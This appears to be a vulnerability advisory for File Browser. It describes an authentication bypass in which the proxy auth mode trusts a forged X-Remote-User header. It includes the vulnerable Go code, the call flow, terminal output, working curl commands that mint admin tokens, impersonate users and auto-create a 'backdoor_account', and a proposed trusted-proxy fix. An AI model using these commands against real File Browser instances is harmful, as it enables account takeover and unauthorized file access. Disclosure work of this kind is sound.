File Browser: Authentication Bypass via Proxy Auth Header Forgery

 1func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
 2    username := r.Header.Get(a.Header)  // <-- reads attacker-controlled header, no origin check
 3    user, err := usr.Get(srv.Root, username)
 4    if errors.Is(err, fberrors.ErrNotExist) {
 5        return a.createUser(usr, setting, srv, username)
 6    }
 7    return user, err  // <-- returns the user object, no password verification
 8}

 1func loginHandler(tokenExpireTime time.Duration) handleFunc {
 2    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
 3        auther, err := d.store.Auth.Get(d.settings.AuthMethod)
 4        // ...
 5        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
 6        // No additional verification — if auther.Auth() returns a user, a JWT is minted
 7        return printToken(w, r, d, user, tokenExpireTime)  // <-- signs and returns JWT
 8    }
 9}

 1func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
 2    pwd, err := users.RandomPwd(randomPasswordLength)
 3    // ...
 4    user := &users.User{
 5        Username:     username,       // <-- attacker-controlled
 6        Password:     hashedRandomPassword,
 7        LockPassword: true,
 8    }
 9    setting.Defaults.Apply(user)      // <-- inherits default permissions (may include execute, create, etc.)
10    // ...
11    err = usr.Save(user)              // <-- persisted to database
12    return user, nil
13}

 1Attacker sends:   POST /api/login  +  Header: X-Remote-User: admin
 2                                         |
 3loginHandler()                           |
 4  |-> d.store.Auth.Get("proxy")         |
 5  |-> auther.Auth(r, ...)               |
 6        |-> ProxyAuth.Auth()             |
 7              |-> r.Header.Get("X-Remote-User")  ->  "admin"     (attacker-controlled)
 8              |-> usr.Get(root, "admin")          ->  admin user  (found in DB)
 9              |-> return user, nil                ->  no password check
10  |-> printToken(w, r, d, user, ...)    |
11        |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
12        |-> token.SignedString(key)     ->  valid admin JWT returned to attacker

 1root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
 2  -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
 3403 Forbidden
 4root@LAPTOP-VUMRCEKO:~#
 5root@LAPTOP-VUMRCEKO:~#
 6root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
 7  -H "X-Remote-User: admin")
 8root@LAPTOP-VUMRCEKO:~#
 9root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
10  -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
11{
12    "signup": false,
13    "hideLoginButton": true,
14    "createUserDir": false,
15    "minimumPasswordLength": 12,
16    "userHomeBasePath": "/users",
17    "defaults": {
18        "scope": ".",
19        "locale": "en",
20        "viewMode": "mosaic",
21        "singleClick": false,
22        "redirectAfterCopyMove": true,
23        "sorting": {
24            "by": "",
25            "asc": false
26        },
27        "perm": {
28            "admin": false,
29            "execute": true,
30            "create": true,
31            "rename": true,
32            "modify": true,
33            "delete": true,
34            "share": true,
35            "download": true
36        },
37        "commands": [],
38        "hideDotfiles": false,
39        "dateFormat": false,
40        "aceEditorTheme": ""
41    },
42    "authMethod": "proxy",
43    "rules": [],
44    "branding": {
45        "name": "",
46        "disableExternal": false,
47        "disableUsedPercentage": false,
48        "files": "",
49        "theme": "",
50        "color": ""
51    },
52    "tus": {
53        "chunkSize": 10485760,
54        "retryCount": 5
55    },
56    "shell": [
57        "/bin/sh",
58        "-c"
59    ],
60    "commands": {
61        "after_copy": [],
62        "after_delete": [],
63        "after_rename": [],
64        "after_save": [],
65        "after_upload": [],
66        "before_copy": [],
67        "before_delete": [],
68        "before_rename": [],
69        "before_save": [],
70        "before_upload": []
71    }
72}
73root@LAPTOP-VUMRCEKO:~#

 1# Using a legitimate non-admin JWT token:
 2curl -s http://localhost:8085/api/settings \
 3  -H "X-Auth: <ATTACKER_JWT_TOKEN>"

 1# Just one header, no password:
 2FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
 3  -H "X-Remote-User: admin")
 4 
 5echo "$FORGED_TOKEN"
 6# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)

 1# Read full server configuration (admin-only):
 2curl -s http://localhost:8085/api/settings \
 3  -H "X-Auth: $FORGED_TOKEN"

 1{
 2    "authMethod": "proxy",
 3    "shell": ["/bin/sh", "-c"],
 4    "signup": false,
 5    "defaults": { "perm": { "admin": false, "execute": true, ... } },
 6    ...
 7}

 1curl -s http://localhost:8085/api/users \
 2  -H "X-Auth: $FORGED_TOKEN"

 1# Impersonate "testuser" — access their files without knowing their password:
 2VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
 3  -H "X-Remote-User: testuser")
 4 
 5curl -s http://localhost:8085/api/resources/ \
 6  -H "X-Auth: $VICTIM_TOKEN"

 1# This username doesn't exist — server creates it automatically:
 2NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
 3  -H "X-Remote-User: backdoor_account")

 1type ProxyAuth struct {
 2    Header         string   `json:"header"`
 3    TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
 4}
 5 
 6func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
 7    // Verify request originates from a trusted reverse proxy
 8    clientIP := realip.FromRequest(r)
 9    if !a.isTrustedProxy(clientIP) {
10        return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
11    }
12 
13    username := r.Header.Get(a.Header)
14    if username == "" {
15        return nil, os.ErrPermission
16    }
17 
18    user, err := usr.Get(srv.Root, username)
19    if errors.Is(err, fberrors.ErrNotExist) {
20        if a.AutoCreateUsers {  // Make opt-in
21            return a.createUser(usr, setting, srv, username)
22        }
23        return nil, os.ErrPermission
24    }
25    return user, err
26}